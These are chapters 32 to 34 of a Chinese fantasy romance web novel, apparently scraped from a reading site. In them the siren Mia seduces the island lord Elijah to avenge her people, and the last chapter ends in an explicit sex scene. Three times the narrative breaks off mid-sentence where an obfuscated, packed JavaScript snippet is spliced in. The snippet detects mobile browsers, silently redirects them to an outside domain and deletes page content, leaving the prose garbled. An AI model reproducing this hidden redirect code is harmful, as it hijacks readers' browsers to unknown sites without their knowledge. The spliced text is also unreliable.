米娅微微喘着气,临时学会的人类舞蹈她并不擅长,保证自己不踏错一步已经耗费了她许多心神,而在这一过程中,男人掌心的热度以及深情的目光更是夺走了她所有的注意力。 在这一刻,她忘记了自己的身份,忘记了自己的目的。 她看着他,也只是看着他,心中仿佛被什么填满,然后又碎裂,莫名的情绪涌了上来。 她抓住了胸前的衣服,在旁人看来,她是因为激动,亦或是紧张,可是只有她自己知道,都不是,那是痛苦,痛苦到她勉励维持的从容土崩瓦解。 那种情绪,她曾经经历过,已经遗忘在角落很多年,可是这一瞬,她想了起来。 那是—— 米娅闭上眼睛,藏起眼底的茫然无措,那不是她该拥有的情绪。 当她再睁开眼睛时,所有不该有的情绪,都不会再在她眼底出现。 32. 抉择(七) 以利亚在露台找到了米娅。 露台悬空而建,下面是花园的一角,小型喷泉昼夜不停地运作,水池中游鱼时不时跃出水面。 她斜倚在大理石栏杆上,上半身微微前倾,仿佛要去捞水中的月亮,又或者是要去接住那一尾活泼的小鱼。 露台上光线很暗,蔚蓝色的长裙却依然闪着耀眼的光,仿佛是将天上星子撒了上去,走近了看,原来是一颗颗蓝色的钻石,很小,却铺满了裙边。 舞会已经进行了很久,不知道换了多少首乐曲,也不知跳了多少支舞,人们的热情依旧高涨,好像永远也不知道疲惫。 但这些热闹都与米娅无关。 以利亚和她跳了第一支舞,又当众吻了她的手,这是最有效的宣示,那些从前只能算是流言的传闻,在今晚由他们亲自定论。 傍晚时分,以利亚也兑现了他的承诺。 米娅搬出了客房,行李放入了赫特高塔的阁楼中,虽然她本人由于忙于舞会的准备工作还未曾去过,但已经从女仆的惊叹中知道,那间阁楼就是以利亚的住处。 为了一个女主人的到来,那里也变了样,多了许多从前不可能出现的东西,比如精致贵重的梳妆台。 米娅记得听到女仆的溢美之词时自己的反应,好像有些愣神,然后不小心扯掉了自己的一根头发。 也许从那时起,一切就有迹可循。 舞会上,第一支舞之后,以利亚离开了宴会厅,米娅在舞池周围徘徊,喝着酒杯中的美酒,红艳的嘴唇愈发滋润。 她能感受到无数道打量自己的目光,惊艳的,垂涎的,羡慕的,还有怨恨的。 一个平民女子,拥有无与伦比的美貌,得到了以利亚·赫尔西的爱,比剧院中的故事还要梦幻。 梦幻吗? 她忍不住勾起一个嘲讽的笑容,虽然她吸引了全场的目光,但是没有人敢来邀请她跳第二支舞,原因同样出自身后正在靠近的那个人。 米娅靠着栏杆转了个身,纤细的腰正好抵在栏杆上,丝丝凉意沁入肌肤之中,一条腿弯起,高跟鞋细长的鞋跟靠在栏杆的中部。 她向后仰去,看向星穹,忽然有了一种脆弱的美感,似乎随时都会从栏杆上跌落,又似乎会化作飞鸟飞向天际。 这么一来,倒更像海妖了。 以利亚走上前去,搂住她的腰,将她禁锢在身前,注意到她两颊的红晕,“你喝了多少?” “我不会喝醉。”米娅阖上眼睛,声音很轻,似是喃喃低语。 她说谎了。 人类的身躯是会醉的,就算是海妖的身躯,似乎也难以抵挡酒精的诱惑,但她的头脑却从没有像此刻这般清醒。 她听到男人轻笑了一声,于是睁开了眼睛,纤细的手指摸向他的嘴角,他真的很少笑,笑对他来说似乎是一件很艰难的事情,但他常在自己面前笑。 米娅从前拒绝去想其中蕴含的深意,此刻却不得不去想。 我是特殊的。 曾经她求之不得,现在却成了她的痛苦源泉。 她忽然提起了裙摆。 “以利亚。”她唤他,自从那天之后,她时常这么唤他,直呼其名,对别人来说不敢想象,对她来说却很简单,“我给这件礼服取了个名字,你猜一猜。” “是什么?” 他不打算猜,比起在这里玩猜名字的游戏,他现在更想做另一件事。 “海妖之歌。”米娅踮起脚尖,在他耳边轻声说,轻柔的呼吸拂过男人的耳垂,像蛇在耳边吐信,有些痒。 男人眸色渐深,暗流在眼中翻涌,他的声音异常低哑,“海妖之歌……歌声在哪里?” “歌声……”米娅低低地笑,红润的嘴唇还在他耳边徘徊,远远看去,两人完全是相拥的姿态。 露台与大厅之间的玻璃门不知被谁关上,就连窗帘也被拉上,喧嚣的光被挡在里面,露台上只剩了皎洁的月光和喷泉旁橘黄色的路灯发出的柔和光晕。 “我现在唱给你听。” 婉转动听的声音在耳边流淌,比水还要温柔,那是一首在赫尔西岛上从未听过的乐曲,与舞会上或激昂或欢快的舞曲截然不同。 空灵的旋律,清泠泠似月光一般,仿佛能够摄人魂魄。 恍惚间,那轮明月越来越低,近在咫尺,伸手就能摘到。 更近的还有海浪的声音,永远不知疲倦,哗啦哗啦,拍打着海岸。 悠扬的旋律忽然快了起来,一下一下敲打着狂跳的心脏,明月沉入海底,曲线优美的黑影从海面升起,月亮被她踩在脚下,巨大的羽翼舒展开又合拢,遮住赤裸的身躯。 紧闭的双眸睁开,蔚蓝的眼睛倒映着他的身影,黑色的长发,白色的衣装,还有—— 歌声戛然而止。 男人睁开眼睛,幻境消失不见,眼前仍是灯火通明的赛欧庄园,欢笑之声从古堡之中传来,月亮依旧高悬于天空,遥不可及。 他低下头,痛苦的神色出现在女人美丽的脸上。 “你勒疼我了。” 原来是他在不知不觉间收紧了放在纤腰上的手臂。 “这是什么曲子?”他稍稍放松了手臂,手指摩挲着她腰间滑腻的肌肤。 女人脸上出现怀念的神色,“是我家乡的曲子,你应该没有听过吧,你觉得好听吗,算不算得上海妖……之歌?” “我好像听过。”男人微微蹙起了眉。 刚才在眼前浮现的场景,熟悉又陌生,亦真亦幻,让人分不清,究竟是他的幻想,还是曾经经历过的,已经湮没在记忆深处的过往。 “你去过玛丽亚联盟吗?”女人好奇地看着他。 “很多年前去过。”男人揉了揉眼角,将突如其来的刺痛感压了下去,不管是真是假,探究都是一种负担。 这不是他第一次有这样的感觉,几年前,类似的事情曾经无数次发生,然而当他忍耐着剧痛想探个究竟时,又什么也探究不到。 都是无用功罢了,到后来,他几乎已经完全放弃了,反正就算想起了什么来,也没有意义。 以利□□绪明显不佳起来,米娅将一切看在眼里。 那首曲子,的确是她家乡的曲子,但不是玛丽亚联盟的,而是来自奥修斯岛,一首用海妖的歌声歌唱的,用海妖的语言演绎的,独属于海妖的曲子。 没有特殊的含义,但一直以来的经验证明,人类听到它,似乎会陷入回忆之中。 她用人类的语言唱出来,为了防止被以利亚察觉异常,未在其中增添属于海妖的力量。 他不应该陷入回忆才对,米娅陷入了沉思。 好在男人身上的秘密太多,他并没有多想,否则自己还真不知道该如何解释。 夜渐深,舞会也接近了尾声。 在众人散去之前,以利亚坐回了宴会厅中。 这一次,人群没有随着他的到来而安静下来,在酒精和香水的双重作用之下,众人沉溺于欢笑与舞蹈之中,甚至有胆大的少女邀请他一起共舞。 他拒绝了。 少女虽然失望而归,人们也惊讶地发现,原来高冷的领主大人也没有想象中那么恐怖嘛,他拒绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945117|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少女时略带歉意的微笑,怎么看都是一个温柔的人。 “休伊,要不你也去谈个恋爱吧。” 卡伦笑眯眯地看向旁边漆黑的人影,黑骑士休伊每次出现,都穿着他那身盔甲,包括这样热闹的时刻。 理所当然的,也不会有人来邀请他跳舞,他站在这里,简直就是煞风景的绝妙写照,人们都离得远远的。 “你看领主大人,现在都柔和了许多,你也去谈个恋爱,免得路边小孩看见你就哭。” 不用看见都知道,盔甲下的那双眼睛一定在冲他翻白眼,卡伦笑得更欢了,眼角的余光瞥见另一个身影从露台中走出来,笑意更盛。 他迎了上去,“米娅夫人。” “卡伦你要邀请我跳舞吗?” “不敢。” 米娅眼中满是揶揄,她显然听见了卡伦刚才的话。 “你也该正经谈个恋爱了,你说这庄园里,一个二个都是些单身汉,说出去多叫人误会。” 卡伦打了个哈哈,“应该没人会误会我吧。” 他虽然没个正经伴侣,但风流之名响彻全岛,从前也只有凯勒能与他竞争一二,不过他和凯勒不同,那些事情,更讲求一个你情我愿,名声也因此比凯勒好不少。 他爱美人,更多却是欣赏的姿态。 譬如此刻,和米娅说话对他而言就是一种享受。 “我听说你以前在帝都很有名,怎么后来会跟着以利亚来赫尔西岛,赫尔西岛再繁华,也比不过帝都吧?” 登岛之前,米娅不仅了解了以利亚的生平,对他身边的这些人,也都打听了一番。 卡伦·道恩,出身于布里斯帝国首都的一个末等贵族家庭,圆滑狡诈,长袖善舞,在帝都时就被那时的宰相看重,但他不愿为官,每日纵情歌舞,甚至为了躲避任命,千里迢迢跑到群岛北边去看什么极光,一去就是两年。 人们还以为他已经死在北边常年的冰雪之下了,没想到两年之后,他却出现在了赫尔西岛,成了以利亚赫尔西的近臣。 “没想到米娅夫人竟然会有此好奇,也没什么不能说的,我当初在北边偶然遇到了领主大人,为领主大人的才能与智慧折服,甘愿跟随其左右。” 是他一贯的说辞,听起来没什么漏洞,就是太虚假了。 米娅颔首轻笑,既然他不愿意说,她也不会勉强,她又看向了另一个人,沉默寡言的黑骑士休伊。 休伊的来历更为神秘,没有姓氏,没有过去,连样貌也没有,也是突然出现在赫尔西岛上,突然就成了以利亚赫尔西的的近臣。 黑骑士仿佛已经预感到了她要问什么,在她开口之前说了一句“我出去了”,转身头也不回地离开。 米娅脸色微变,卡伦笑着为他辩解,“您别见怪,他就是这个倔脾气,也不爱说话,你如果想知道他是为什么跟着领主大人,我倒是可以透露一二。” “为什么?” “因为领主大人救过他的命。” 原来是这样,很合理的解释,米娅点了点头,目光落到端坐在舞池上方的那个神秘优雅的身影上,侍者为他端来酒杯,他却摆了摆手又让侍者撤了下去。 米娅忽然意识到,今夜,他滴酒未沾。 是怕酒后失态吗? 可是一个力量强大的渡水者,这么点儿酒,对他来说,应该与喝白水无异。 “领主大人从不喝酒吗?”米娅忍不住问。 卡伦也看了过去,微微叹息一声,“是的,听说大人年少时,有人在酒里下毒害他,从那之后,他就不喝酒了。” 33. 抉择(八) 子夜时分,曲终人散,赛欧庄园又恢复了往日的沉寂。 莱森的酒终于醒了,他从自己的房间醒来,周围是一片漆黑。 头疼欲裂之时,他想起了白天发生的事情。 听了黑骑士的话,他胸中涌起了一股冲动,于是当他遇见米娅之时,叫住了她。 与此同时,轻松的感觉也涌了上来,没错,他早该这么做了,顾虑也好,羞愧也罢,都被抛在脑后。 那时周围没有人,正好给了他们单独说话的时间。 米娅没有回头,自从舰船起航那一天之后,他们再也没有见过面,这是她故意为之,莱森是个好人,即使他也是赫尔西家族一员,但不到万不得已的时刻她不想伤害他。 此时,远离他对两个人都好。 莱森料到了她的反应,苦涩从嘴角蔓延。 酒能壮胆,他也该大胆一回,“米娅,对不起,之前我的喜欢给你造成了困扰,我知道,你不喜欢我,我不介意,但是我还是想告诉你,不要和他在一起,离他远一点儿。” “为什么?”米娅还是没有回头,很轻的声音,没有惊讶,也没有不解,仿佛忏悔室的音乐,引诱着莱森将藏于心底的秘密全部说出。 “他是个真正无情的人,我担心你会受伤。” 米娅轻笑了一声,终于转过身来,那双美丽的眼眸中,是恬淡与了然,“这些话,我已经听过无数遍了,可是和我自己所感受到的,似乎并不一样。” 女人的脸上有丝丝甜蜜的笑意,莱森看得心痛,也许他们之间已经拥有美好的回忆,可越是如此,他就越有责任将那个男人的真面目告诉她,免得她越陷越深,最后落得个无法自拔的下场。 “米娅,你应该知道,我有一个双胞胎弟弟,罗尔。” 莱森声音干涩,光是说出这个名字,就花费了他许多力气,而随着这个名字一起冒出来的,是那些尘封了多年的往事。 “我知道,他在十多年前意外身亡了,节哀。” “不是的。”青年几乎是吼出来的,看到自己陡然增大的声音将面前的女人吓了一跳,又才压低了声音说,“不是意外身亡,是他杀了罗尔。” 终于,他从女人的脸上看到了不可置信的表情。 “怎么会,那是他的外甥——” “你也看到了我每天战战兢兢的模样,外甥又怎样,一旦挡了他的路,什么都有可能发生。”莱森苦笑道,将那些藏在心底的话,终于说了出来,“二十年前,我和罗尔的外祖父,也就是赫尔西岛的老领主去世,本来应该由他继承领主之位,但当时的皇帝觊觎赫尔西岛已久,趁他年纪尚小,使用一些手段将他放逐,让我把姓氏改作了赫尔西,来继任领主之位。那时我和罗尔只有几岁,并不知道究竟发生了什么,几年之后,当我们逐渐懂事之后,罗尔心地善良,想找回这位已经不知所踪的舅舅,他成功了,可是他没有想到,事情并不像他预料的那样,回来的不是他的亲人,而是一个在外流浪多年,早已舍弃了这些情感的怪物。为了拿回领主的位置,他杀死了罗尔,为的就是逼迫我回到皇室,皇帝不肯,他又制造了三月血案,逼迫老皇帝退位,来到赫尔西岛,将我从领主的位置上拽了下去。” “这一切,都是你亲眼所见吗?” 女人的声音中充满了疑惑与不信,莱森并不意外,这也是他将这些秘密埋藏在心里的原因之一。 说出来有几个人会信呢,哪怕是他—— “这是我的父亲告诉我的,起初我也不愿相信,直到有一天,我被心中的疑惑折磨得再也忍不下去,去向他亲自求证。” “他怎么说?”米娅感到喉咙发紧,很像半个月前她还陷于凯勒和加里的死的时候,那个人扼住他的喉咙时的感觉。 莱森深吸一口气,米娅的反应,倒与那时的他很像,他们明明都知道他的冷漠无情,却还是不可避免地存有侥幸。 他总不至于,残忍到这个地步吧。 那是好几年前的事情了,然而时至今日,莱森仍然记得那个夜晚。 那是自从以利亚登上领主之位后,他第一次踏进赫特高塔之中。 硕大的月亮挂在天际,清冷的月光透过窗户照在那人身上,那人侧身对着他,他只能看见他高挺的鼻梁投下的阴影。 塔中灯火昏暗,压抑得让人喘不过气。 他听见那人的声音响起,冰冷的,满不在乎的,仿佛谈论的只是一件微不足道的小事。 “我只是为他解除了痛苦罢了。” “痛苦,什么痛苦?” 米娅不禁发出疑问,她的疑问,何尝不是莱森的疑问,可是他那时并没有机会问出来了,因为下一瞬,他就出现了高塔之外。 他抬头望上去,圆月挂在塔尖,窗边的人影有些模糊,可是他能感觉到,那冰冷的视线注视着自己。 没过几天,莱森就被送到了学院岛。 再后来,他回到了赫尔西岛,再也没有踏入过赫特高塔之中,直到前段时间为了米娅—— “那时我也不知道,后来,我回了一趟绿恩岛,去到罗尔一直生活的地方,在那里,我发现了几封未曾寄出的信,是罗尔的笔迹,收信人是我。他在信上说,自从寻回以利亚之后,以利亚对他说了一些话,他感到万分痛苦,可是他没有告诉我,究竟是什么话。” …… 就在莱森想起自己白天的冲动之举时,米娅站在赫特高塔顶层的阁楼之中,不期然也想到了白天的对话。 赫特高塔就如莱森所说的那样,从外面看阴森恐怖,里面却没有什么特别的。 一共五层的塔楼,下面三层空空荡荡,什么也没有,她隐隐约约能察觉到法阵残留下的痕迹,大概是防止外人进入的法阵。 如果不是以利亚牵着她的手走进来,她也会被挡在门外。 到了第四层,却是一个仓库,一排排的架子,就像城中的杂货店一样,摆满了各种各样稀奇古怪的玩意儿。 但米娅第一眼,还是被正中央的一枚黑色纽扣吸引了目光,纽扣上雕刻着紫荆花的图案,栩栩如生的造型与精致的金色描边,唯有皇室才能佩戴。 但就在紫荆花图案的周围,有什么正在蠕动,起初她以为是飞虫,但那蠕动间令人牙酸的声音,绝不是飞虫能够发出的。 那声音太过刺耳,她忍不住靠近了看,只一眼,却遍体生寒,不是什么飞虫,而是暗红色的血液,就像一条肉虫,绕着紫荆花雕刻的缝隙不停地流动。 即使对她来说,也称得上诡异了。 寒气从脚底冒出来,她不该害怕的,可这完全是本能的反应,就像羚羊看到了觅食者的眼睛时下意识起身一样,她几乎就要忍不住变回海妖的模样,作出防御的姿态。 手掌握成拳,指甲深深陷进掌心,疼痛唤起理智,生生将这股冲动压了下去,她回过头,白着脸看向几步之外的男人,“这是……什么?” 干涩的话语,几乎是从唇齿间挤出来的。 然后就在那一瞬间,那股寒意骤然接近,几乎触碰到了她的脖子。 同一瞬间,男人出现在她身侧,一只手臂环抱住她的肩膀,将她按进了自己怀中,一只手臂抬起,在空中一抓。 寒意褪去,令人牙酸的声音也随之消失。 米娅心有余悸地从他怀中抬起头,只见他松开紧握的手掌,暗红色的尘土如雨落下,落到地板上,倏忽又消失不见。 再看那枚纽扣,流动的血液不见了,只有暗红色的干涸的血迹洒满了半颗纽扣。 “这是罗尔的血。”男人低下头看着她,眼神冰冷。 米娅再次感受到了相似的寒意,来自近在咫尺的男人,只是这一次其中并不包含杀意,也就引不起她变身的冲动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953734|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “罗尔?”她攥紧了他胸前的衣服,莱森的话在耳边响起,她忽然燃起了一丝希望。 来吧,将一切说个清楚。 “我知道他,你的外甥——有人告诉我,是你杀死了他,这是真的吗?” 她的声音很低,男人却从其中听出了一丝不忍,冰冷的眼神忽然就变得柔和起来,但他还是“嗯”了一声,打破了米娅最后的幻想。 “为什么?”米娅急切地问。 “因为他已经变成了一头怪物。”男人的声音不带任何感情,仿佛在讲述一件与自己无关的事情,“刚才如果没有我的阻止,你会死,你也看到了,仅仅是死亡之后留下的血迹,都有如此大的威力,我不能让他活着。” “他为什么会变成怪物?”米娅又问。 这个浩瀚的世界有神,有鬼魂,有法术,奇奇怪怪的事情随时都有可能上演,但不会凭空产生,总要有个原因。 “秘密。” “……?” 哪有讲故事讲一半的,这不更吊人胃口了吗? “真想知道?” “当然。” “好吧,我可以告诉你,但是这个秘密涉及到整个赫尔西家族的秘密,如果你知道了,以后就永远不能离开我了。这样,还想知道吗?” 是调侃,还是警告,米娅望进他棕色的眼眸,那里黑沉沉的一片,什么情绪仿佛都沉入了最深处。 米娅郑重地点了点头。 以利亚拥着她穿过一排排架子,来到房间的最深处。 一张木桌,一本摊开的书,书页上没有字,却有一支停在半空中的羽毛笔,一直不停地在写着什么。 那是—— 她在冥界见过的那根羽毛,原来是支羽毛笔。 与刚才的纽扣一比,这支自己动的羽毛笔倒显得没那么诡异了。 以利亚牵起她的手,掌心覆盖在她的手背上,引领着她握住了羽毛笔的上端,当丝丝凉气从钻进手指里时,他温柔的话语也在这时响了起来,“别怕,有我在,不会有事的。” 温柔得都不像他了。 米娅有点儿想笑,她很想说,你这样我才会害怕好吧,但是最终也没能说出口。 她已经错得够离谱了,不能再继续错下去。 米娅闭上眼睛,庞杂的记忆顺着笔端涌入她的脑海中,那是——赫尔西家族的来源。 首先是一个被抛弃在山崖上的婴儿,没人知道他的父母是谁,也没人知道他被抛弃了多少天,那是一处少有人至的山崖。 但婴儿从未停止过哭泣,他不需要进食,也不需要喝水,哭声始终嘹亮,直到有一天,一个偶然路过的猎人听到了他的哭声,将他从山崖上抱入了繁华的人世之中。 他长得很慢,直到几十年后,收养他的猎人老死在家中之时,他仍然是少年模样。 邻人视他为怪物,拿着农具要将他打死,他未曾还手,只是一掌将所有人掀翻在地,然后离开了那个地方。m 没有任何线索,他想要找到父母,唯有向神发问,可是行走于大地的神明们并不回应他的祈求,于是他来到了这里。 曾经大陆的一部分,离众神的居所永恒花园最近的地方。 某个寒冷的夜晚,永恒花园的神明终于入了他的梦。 在梦中,神明最终被光晕笼罩,看不清形状,更遑论样貌,只有飘渺的声音从光晕中传来。 “ahhaduu——” 不是人类的语言。 作为海妖祭司,负有与海神沟通的职责,神语是米娅的必修课,只是也许因为是记忆,这话语有些含混不清,她一时也难以辨别内容。 她想听得更清楚些,不禁集中了注意力,然后那声音忽然停了。 光晕之中有一双红色的眼睛,看向了她的方向。 刺痛袭来,米娅尖叫一声。 34. 抉择(九) 痛,好痛,就像有千万根针搅动着脑子,又像有千万把剑同时插在身上,动一下都成了困难,呼吸仿佛都要停止。 那些奇怪的声音始终萦绕在耳畔,模糊的,听不清的,也是——怪异的,痛苦的,让人崩溃的。 她感觉自己快疼晕过去了,忽然,一双冰凉的手捧住了自己的脸,熟悉的气息包围了她。 是以利亚。 脸颊上的触感,不再是手套的顺滑,而是人类手掌的纹路。 他终于脱下了手套么,这个念头一闪而过,她却无法睁眼去看。 冰凉的吻落在她的额头,却带来了一股暖流,就像经历了酷寒之后,投入温暖的温泉之中,那些疼痛从额头的位置逐渐消失。 米娅睁开眼睛,她竟然坐在地上,背后靠着一把木柜,以利亚半跪在她身侧,正在将手套戴回去。 她的视线正对着窗户的方向,巨大的月亮占据了半个窗户,月亮表面的黑点就像一个个跳着奇怪舞蹈的小人,不时变换着位置。 今夜,有这么大的月亮吗? 她失神地想着,没注意到他的动作,回过神来时,他已经重新戴好了手套,俯身将她抱了起来,歉疚这种表情头一次出现在了他的脸上。 “不是每个人都能适应神语,抱歉,我没想到你的反应会这么大。” 米娅没有回应,疼痛的根源已经消失,但余波仍在,她尝试着张了张口,那残存的痛觉又排山倒海般袭来,阻止了她。 无助与恐惧同时出现在她的眼眸中,就像受了伤的野兽。 以利亚看见了,同时他也感觉到了心痛,不受控制的感觉,似乎他的身体有了自己的意识,不愿看见这样的她。 他后悔了,不应该因为自己的私心,让她接触到这些东西。 米娅被他抱离了这件奇怪的房间,走上螺旋状的楼梯,木质的楼梯年久失修,发出吱呀的响声,仿佛随时都会塌陷。 他却走得很稳,米娅没有感觉到颠簸,这时,那些残存的痛感也渐渐褪去,她紧紧握着他的手臂,又忍不住回想起了那些难懂的话语。 他说得不对,天底下,恐怕很少能比自己更适应神语的人……不,海妖了,刚才的异样,是神语导致的,但却不是语言本身,而是那个回忆中的神明。 明明只是回忆,祂却好像知晓了自己的存在。 此刻,当米娅再度回想起那些话语时,在模糊不清之中,她勉强辨认出了一个名字。 “米娅”。 这个名字是老祭司为她取的,一个不算少见的人类名字。 也许祂说得不是她,可是因为祂看了自己一眼,米娅很难不怀疑,祂是在呼唤或者谈论自己。 她忽然感到齿冷,急切地想证明什么似的问:“那是谁?” 她心里已经有了答案。 “天空之神伊瑟尔。” 果然是祂,和塞奇的话串起来了。 神的后裔,容器,渡水者,还有……复活。 “赫尔西家族,真的是祂的后裔吗?” 疑问几乎是脱口而出,说完才想到,外界的传闻中虽然有赫尔西家族拥有神明血脉之类的,但从没点明是哪一位神明。 她好像说错话了。 好在以利亚没有多想,他简短而又不容置疑地否认了。 “不是。” 悬着的心落下来了一点儿。 他和塞奇,一定有一个人在说谎。 想到塞奇那副不靠谱的样子,她更愿意相信是塞奇在说谎。 真是白瞎了那么好看的一张脸。 塞奇已经被冥界之主重新关了起来,就连乌斯也失去了和他的联系,米娅曾经很庆幸这一点,现在却有点儿想将他从冥界里拽出来问个清楚。 沉思间,他们来到了高塔的第五层。 玄色大门紧闭,进去之后,就是另一番天地。 米娅有种感觉,走进了这道门,很多事情,便再也不能回头了。 于是她拽了拽以利亚的衣袍,示意他停下来。 她想问个清楚,“这些历史,跟罗尔有什么关系?” 男人停住脚步,深邃的眉眼不知何时染上了一丝戾气,但他的解释依旧耐心,“赫尔西家族的先祖,曾受到天空之神伊瑟尔的祝福,便以神的后裔自居,他在离永恒花园最近的这片土地定居,祝福一代传一代,融入骨血。赫尔西家族的人都是渡水者,因为他们不需要再去花费时间契合神力。但是神力过多,也会反过来侵蚀人类,罗尔他正是被神力所侵蚀,他的血液变成了致命的武器,只要他活着,每时每刻都在感受痛苦。” “没有什么办法能帮他吗?”米娅不禁问道。 “有,你已经知道了。”戾气悄悄隐去,男人的神情淡漠。 米娅忍不住瑟缩了一下,她明白了他的意思。 死亡,死亡会带走一切。 那股熟悉的寒意又涌了起来,至少在这点上,他和回忆中那位神明给人的感觉很相似,都是一样的冰冷。 难道这就是祝福的力量? 可是她从未在莱森身上感受到过。 “伊瑟尔——”米娅艰难地重复着这个名字,“我听说过祂,祂和海神不合,海妖又是海神的造物,是因为这个原因,你才想捕杀海妖吗?” “不是。”男人的否认轻飘飘的,他低头意味不明地看了她一眼,然后打开了门,将她抱进了房间里。 黑漆漆的,没有点灯,只有晦暗的月光透过玻璃照射进来。 米娅听见木门在他们身后重重合上的声音,心跳忽然快了起来,不知道是因为男人的回答,还是他的动作。 他将她放到了房间深处那张柔软的大床上,脱掉了束缚她一个晚上的高跟鞋,然后掐着她的腰压了上来。 “我并不信奉祂,海妖捕杀令只是我与皇室做的一个小小的交易。” “小小的交易?!” 米娅失声叫道。 月光忽然变得明亮,好像在嘲笑她。 那些鲜血,那些痛苦的哀嚎,那些狰狞的伤口,那些逝去的生命,还有过去一直缠绕在她心间,压得她喘不过气来的责任和痛苦。 尽皆因此而起。 原来在他心里,只是小小的交易吗? “什么交易?” 她深深地吸了一口气,为刚才的失态懊悔不已,都到了这个时候,难道她要功亏一篑,因一时之气而前功尽弃? 于是那混合着惊讶与责备的语调一变,她低声解释道,语调变回了一贯的妩媚,又暗含担忧,“跟皇室做交易,总觉得不太靠谱呢,听说他们最喜欢出尔反尔了。” 男人轻笑了一声。 玛利亚联盟与布里斯帝国摩擦不断,双方之间极不信任,她一个玛利亚联盟的人,对布里斯帝国皇室有疑议倒也正常。 “我不在乎。”男人的声音中充满了掌控一切的自信,来自于对自身强大力量的自信,阴谋诡计,在强大的实力面前,往往起不了作用,“交易的内容是,我为他们猎杀海妖提供方便,他们承认我的领主身份,不再插手赫尔西岛事务。” “只是这样?” 在他看不见的地方,米娅暗暗收紧手掌,将身下的锦被攥紧,她闭上了眼睛,担心自己在他面前控制不住眼中的怒火。 “不然还能是什么样?”男人的声音轻慢,似乎是觉得她的问题很可笑。 米娅的胸口剧烈起伏。 她在心底冷笑,果然是小小的交易呢。 仅仅为了一个他根本不需要做交易就能唾手可得的身份,竟然将一个无辜的族群放入了天平的另一端,成为他博弈的砝码。 自己的确很可笑,竟然还幻想着他是不是有什么难言的苦衷。 在舞会上,她竟然忘记了复仇。 那时的犹豫,现在就像一耳光狠狠打在她脸上,打得她脑袋嗡嗡作响。 已经不能再犹豫了,也不能再迟疑下去。 米娅心一横,松开紧握的手掌,抬手环住了他的腰。 “我是为了——”男人似乎还想再说什么,声音被她堵了回去。 四瓣柔软的嘴唇相碰,冰冷与火热交织,柔情与暗恨共存,将理智瞬间燃烧殆尽。 未尽之言消失于唇角的轻叹。 他伏了下来,将妖娆的身躯再度压回了柔软的被子上,冰凉的吻逐渐变得火热,却没有深入诱人的唇齿之中,只在饱满的红唇上研磨,然后沿着天鹅一样的优美的脖颈慢慢向下,直至遇到礼服长裙的阻碍。 腰间的手终于动了,沿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959684|175444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饱满的曲线向上,越过平坦的小腹和高耸的胸脯,慢慢拉开了隐藏在侧边的拉链,像剥开了成熟的浆果。 紧贴着的蔚蓝色的长裙皱了起来,如同微风轻拂过平静的海面,将浪花吹舞,白玉似的滑腻肌肤在月光的的照耀下散发着莹莹幽光。 领口一松,失去束缚滑落,蹦出两团被黑色蕾丝包裹的浑圆。 黑与白纠缠在一起,愈发将羊脂玉一样的温润白皙的肌肤衬得好似高山上的雪,清清泠泠,似近还远,而且捉摸不透。 以利亚垂眸看了一眼,特殊的材质以及特殊的花纹,她的用意真是一点儿也不遮掩。 手指勾着胸衣上的蕾丝花边,他凑到她耳边,难得起了点儿戏谑的心思,“这是为今晚准备的?” “我都搬到这里来了,难道领主大人还要忍着吗?”米娅想都没想,脱口而出。 这是实话,虽然是藏了很深的用意的实话。 但正在与她缠绵的人并不知道,于是这话起了很好的效果,彻底引诱了他。 低低地笑声在她耳边响起,湿热的吻随即落到重获自由的雪白上。 米娅仰起头,脸上的红晕若隐若现。 接下来会发生什么,她心知肚明,可是还不够。 他们不是第一次有如此亲密的举动,此前在暂居的客房中,那些香艳的场景历历在目,每一次都是如此,他的吻也许会落到许多地方,却从来没有深入她的口腔。 他一直在戒备,应该是无意识的,而她需要做的事情,就是突破这一戒备。 那只火热的手又向下抚摸而去,在如玉的肌肤上揉捏,留下点点欲望的火星,指尖滑过紧致的大腿,将长裙揉皱,放在她膝盖后方,然后稍一用力。 她就这么屈起了长腿,勾在男人的腰侧,挤去了两人之间最后一点儿空隙。 长至脚踝的长裙下摆宽阔,不需要费劲,手掌就能轻易从裙摆边缘钻进去,沿着滑腻的细腿攀岩向上。 热浪一阵又一阵袭来,恍惚间,米娅似乎听到了来自远方的海浪声和歌声,那是奥修斯岛还未沉入海底之时,她每一天都能听到的声音。 曾经在每一个夜晚伴她入眠,见证了她从出生到遇到那个人,再到接任祭司的那一天。 为什么会在这个时候,想起那个人呢? 纠缠的身躯就想肆意生长的藤蔓,越缠越紧,似乎再也无法分开。 男人再次抚上了她的腰肢,沉了下来。 胀痛的感觉传来时,她知道自己离成功又近了一步。 